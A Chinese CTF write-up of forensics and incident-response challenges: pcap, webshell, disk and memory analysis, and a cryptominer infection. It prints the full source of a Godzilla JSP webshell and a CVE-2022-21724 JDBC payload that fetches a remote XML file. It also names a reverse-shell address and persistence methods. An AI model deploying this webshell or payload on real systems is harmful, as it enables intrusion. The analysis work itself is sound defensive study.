第二届陇剑杯 初赛全WP
以前打的比赛写的WP
,整理了一下,纯个人理解,WP
和附件自取,若有帮助,记得点赞和关注哈:)
hard_web
题目附件:hard_web_99af7443957c71d3961b3e3cc6045f46.zip
- 服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
首先确定服务器和客户端的IP
确定是服务器是192.168.162.180
客户端为192.168.162.188
,开放端口的话会完成tcp
三次握手协议
所以如果成功建立连接的话,服务器会发送一个synack
字段
ip.dst == 192.168.162.188 and tcp.connection.synack
所以可以确定开放的端口是80,888,8888
- 服务器中根目录下的flag值是多少
首先过滤HTTP
协议
可以看到shell.jsp
,初步判断是某种webshell
然后这里还列出了webshell
的内容
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
基本就是哥斯拉的webshell
,解密的话网上找一个脚本或者使用大厨即可
直接看最后一个请求和响应
请求
响应
最后的flag
为flag{9236b29d-5488-41e6-a04b-53b0d8276542}
- 该webshell的连接密码是多少
倒数第五个请求解密之后可以看到
查看响应
然后md5
解密748007e861908c03
得到,或者写脚本爆破MD5
也行
看看MD5
加密
应该是去了前几位作为密钥
所以连接密码是14mk3y
参考:
Wireshark1
题目附件:wireshark1_dc337306e02806e9e11e650c515bd774.zip
- 被入侵主机的IP是?
分析发现入侵协议是telnet
,应该是从哪里知道了账号密码之后直接远程连接23
端口了
看内容就知道被入侵主机的IP是192.168.246.28
- 被入侵主机的口令是?
直接追踪流即可
口令是youcannevergetthis
- 用户目录下第二个文件夹的名称是?
同样直接追踪流即可
第二个文件夹的名称是Downloads
- /etc/passwd中倒数第二个用户的用户名是?
同样直接追踪流即可
倒数第二个用户的用户名是mysql
SmallSword
题目附件:SmallSword_f0255d257b71afd3affd813cf362f025.zip
- 连接蚁剑的正确密码是______________?
分析流量可以看到
这边通过sql
联合注入写了两个webshell
进去
这边连接蚁剑的密码都是6ea280898e404bfabd0ebb702327b18f
但是连接利用的时候又变成了
6ea280898e404bfabd0ebb702327b19f
后续还有
一堆疑惑行为,存在多次传参命令执行
最后尝试真正的密码是6ea280898e404bfabd0ebb702327b19f
- 攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
存留的值大概率是写入的,分析流量发现最后滴几个流量在写入信息
明显执行文件流,然后字符串可以base64
解密,一一解密得到
最后第三个利用webshell
的流
向hacker.txt
中写入了ad6269b7-3ce2-4ae8-b97f-f259515e7a91
,即为留存的值
然后倒数第二个
这不是火绒吗,难道是在hack
火绒!!!,不过好像是类似一个入侵伪装吧,木马文件改名以及修改时间戳。
- 攻击者下载到的flag是______________?(答案示例:flag3{uuid})
分析info1.php
这个webshell
没发现下载相关命令,可能有其他的webshel
这个参数v
似乎也能进行命令执行,但是无法解密命令
追踪流
在随后的130
和137
流中发现
明显是exe
文件,我猜测是下载了名为火绒的exe
直接转16
进制搜索exe
文件头
随后复制一长串用010
转一下得到
直接运行输出:图片保存成功:
然后在上一层会输出一张图片
010
查看发现是png
,然后修改高度
发现最后的flag
为flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
ez_web
题目附件:ez_web_e82608071ac21070473ff8c37658e265.zip
- 服务器自带的后门文件名是什么?
分析流量包可以发现
有个d00r.php
可以进行命令执行,但是提交不对,于是猜测hacker
就是通过服务器自带的后门写入这个webshell
的
直接查找d00r.php
发现
这里通过a
参数利用file_put_contents
函数写入了文件
所以后门文件就是ViewMore.php
- 服务器的内网IP是多少?
由于这里利用了d00r.php
的cmd
参数进行命令执行
我们直接应用为列进行查看,内网IP
的话就重点关注IP
相关命令
查看回显
双网卡,经过尝试内网IP
是192.168.101.132
- 攻击者往服务器中写入的key是什么?
这边看到
然后尝试解密
发现是一个zip
,然后有密码,密码在
大厨直接解密即可
所以写入的key是7d9ddff2-2d67-4eba-9e48-b91c26c42337
tcpdump
题目附件:easywiki.zip
- 攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
可以看到
爆破失败返回的是300
,那我们查找200
的
追踪流得到
所以登录的用户名与密码为TMjpxFGQwD:123457
- 攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值
查看cookie
直接把cookie
应用为列,然后过滤人眼查看
前面是2
后面变1
那么越权的应该是1
MD5
一下
得到383c74db4e32513daaa1eeb1726d7255
- 攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456
直接搜索jdbc
得到如下
配置中的数据库账号密码为springcfg:root
,但是不对,然后一一追踪流在1600
流发现
所以配置中的数据库账号密码zyplayer:1234567
- 攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
发现可疑情况
远程下载
可以看到远程下载用的是jdbc:postgresql
查找一下
找到一个CVE-2022-21724
的POC
如下
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
主要利用的是socketFactory
与socketFactoryArg
这两个参数
可以看到几乎一样
得到CVE-2022-21724:custom.dtd.xml
- 给出攻击者获取系统权限后,下载的工具的名称,比如nmap
同样一一追踪流
得到下载的工具名称fscan_amd64
经过尝试需要去掉版本信息
最后为fscan
hacked
题目附件:hacked_9702a13c99753e97b1c04a3aa687bbd4.zip
- admIn用户的密码是什么?
查看
发现用户名和密码都是加密的形式,随后在tcp50
流看到加密方式
AES
加密
key
:l36DoqKUYQP0N7e1
IV
:131b0c8a7a6e072e
随后在57
流看到
查看56
流并解密
得到admIn用户的密码flag{WelC0m5_TO_H3re}
- app.config['SECRET_KEY']值为多少?
尝试直接搜索SECRET_KEY
html
解码
得到SECRET_KEY
的值为ssti_flask_hsfvaldb
- flask网站由哪个用户启动?
第76
流解密得到
发现执行了whoami
,但是没有回显
但是却有一个set-cookie
然后解密就得到
可以知道用户名是red
- 攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
百度一下注入内存马的方法,参考
查阅发现是调用了add_url_rule
函数来添加路由
然后发现81
流有点奇怪
解密session
和内存马完全符合
所以最后的内存马路径就是add_url_rule
后面的Index
sevrer save
题目附件:SS.zip
解压密码为c77ad47ba4c85fae66f08ec12e0085dd
- 黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514
分析流量
发现可疑字符串,百度一下
得到CVE-2022-22965
- 黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444
直接看压缩包中的文件系统信息helloworld
目录下
然后看bbbb.sh
或者看流量
得到192.168.43.128:2333
- 黑客的病毒名称是什么? 格式为:filename
可以看到用户主目录下
有个mian
文件,同时.idea
中也存在文件
猜测恶意文件就是mian
- 黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password
直接查看一下passwd
再看一下shadow
所以用户名与密码为ll:123456
- 服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
直接查看用户目录下的.log.txt
得到外网IP
为172.105.202.239
- 病毒运行后释放了什么文件?格式:文件1,文件2
就释放了.idea
下的两个文件
答案就是lolMiner,mine_doge.sh
- 矿池地址是什么? 格式:domain:1234
直接查看mine_doge.sh
得到矿池地址doge.millpools.cc:5567
- 黑客的钱包地址是多少?格式:xx:xxxxxxxx
同样
钱包地址为DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9
IncidentResponse
题目附件:太大了,传不了,一个镜像文件拿来应急响应
解压密码为f0b1ba11478343f404666c355919de3f
题目描述
你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)
- 挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
查看一下进程信息
有个redis
看看配置文件
这里JSON
格式怪怪的,和常规的配置文件不太一样
后面就更加离谱了,还有pools
以及wallet
,经典的xmrig
挖矿病毒,应该个伪造的redis
程序,同时也没有redis-cli
命令行程序
所以挖矿程序所在的路径就是/etc/redis/redis-server
最后的答案6f72038a870f05cbf923633066e48881
此外我们还可以用7Z
拿出ova
中的VMDK
磁盘文件,然后用取证大师或者R-Studio
来恢复我们拿出需要的文件,这样会更加方便一点,不过就看不了内存中的进程等等信息了,最好仿真和磁盘同时利用
我们恢复取出其中的redis-server
检查一下
直接检测出了xmrig
,一种经典的挖矿病毒
- 挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
同样看配置文件我们就可以知道矿池地址是donate.v2.xmrig.com
查一下
最后的答案3fca20bb92d0ed67714e68704a0a4503
- 攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
hint
:答案md5值前两位为3e
由于我们看到该镜像运行的web
服务是一个jar
包,那么大概率通过java
的方式进行利用然后打进来
当前目录下有日志,看看日志
利用文件恢复
这两个文件
反编译jar
包,在pom
中看到
版本信息
版本是1.2.4
,这个版本是存在shiro
反序列化漏洞的
网站框架是网上的renren-security
,不过很久没更新了
看下日志
基本可以确定是shiro550
,但是怎么输入的不对
后面发现英文的可以
最后的答案3ee726cb32f87a15d22fe55fa04c4dcd
- 攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
查看ssh
的日志
发现存在来自81.70.166.3
的暴力破解痕迹,猜测就是攻击者的IP
取证大师也能看到
随后变换格式
所以答案就是c76b4b1a5e8c9e7751af4684c6a8b2c9
- 攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
查看nginx
的日志
可以看到攻击者的UA
为Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
变化格式
最后的答案6ba8458f11f4044cce7a621c085bb3c6
- 攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
同样查看SSH
日志
可以发现攻击者暴力破解无果之后,利用公私钥成功登录了系统,应该是通过某种方式写入了公钥,配置文件路径一般都是/root/.ssh/authorized_keys
然后看看格式
所以第一种方式就是利用SSH
密钥进行权限维持
答案为a1fa1b5aeb1f97340032971c342c4258
- 攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
一一检测常见Linux
下的权限维持手段
查看影子账户
查看定时任务
查看有无敏感启动任务
发现一个启动任务的后门用于重复启动挖矿程序,所以配置文件的路径是/lib/systemd/system/redis.service
变换格式
所以最后的答案就是b2c5af8ce08753894540331e5a947d35
baby_forensics
题目附件:BF.zip
解压密码为4cf611fce4a2fec305e54c2766b7c860
- 磁盘中的key是多少
直接挂载
发现磁盘用bitlocker
加密了,需要解密
尝试用EFDD
解密
发现可以
密钥的16
进制ed9779c500281407fc821a280115b58fbde944e4e3c925a1f7b0c984eb3a1709
乱码用不了好像
恢复密钥
得到恢复密钥560604-255013-655633-128854-663223-316063-484946-476498
然后利用恢复密钥解密或者用EFDD
再次挂载一个解密的盘都可以
打开就能得到key
得到E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d
,作为MISC
手的直觉一眼像是加密的
rot47
解密得到thekeyis2e80307085fd2b5c49c968c323ee25d5
或者不解密磁盘直接去内存中取出解密
所以最后的答案就是2e80307085fd2b5c49c968c323ee25d5
- 电脑中正在运行的计算器的运行结果是多少
先取证一下内存
然后取出进程镜像
然后用Gimp
分析进程内存中的位图文件,具体原理百度
调了一会终于调出来可,最后的参数如下,可能有很多种参数选择可以得到上图
此处之外利用如下命令查看程序窗口句柄信息
然后查找calc
程序也能找到
所以答案就是7598632541
- 该内存文件中存在的flag值是多少
继续取证内存文件
有个便签程序,取出内存分析一下
然后同样用Gimp
分析
能看出有一段字符串以U2Fsd
开头,可能是AES
或者DES rabbit
加密,直接Strings
大法看一下
得到U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp
补充完善得到
U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==
还差一个密钥,文件搜索key/k3y/passwd/
等等信息,除此之外好像Gimp
继续翻看内存文件也能得到类似文件的提示
得到一个这个,导出查看一下
猜测是密钥,AES
解密试试
得到flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}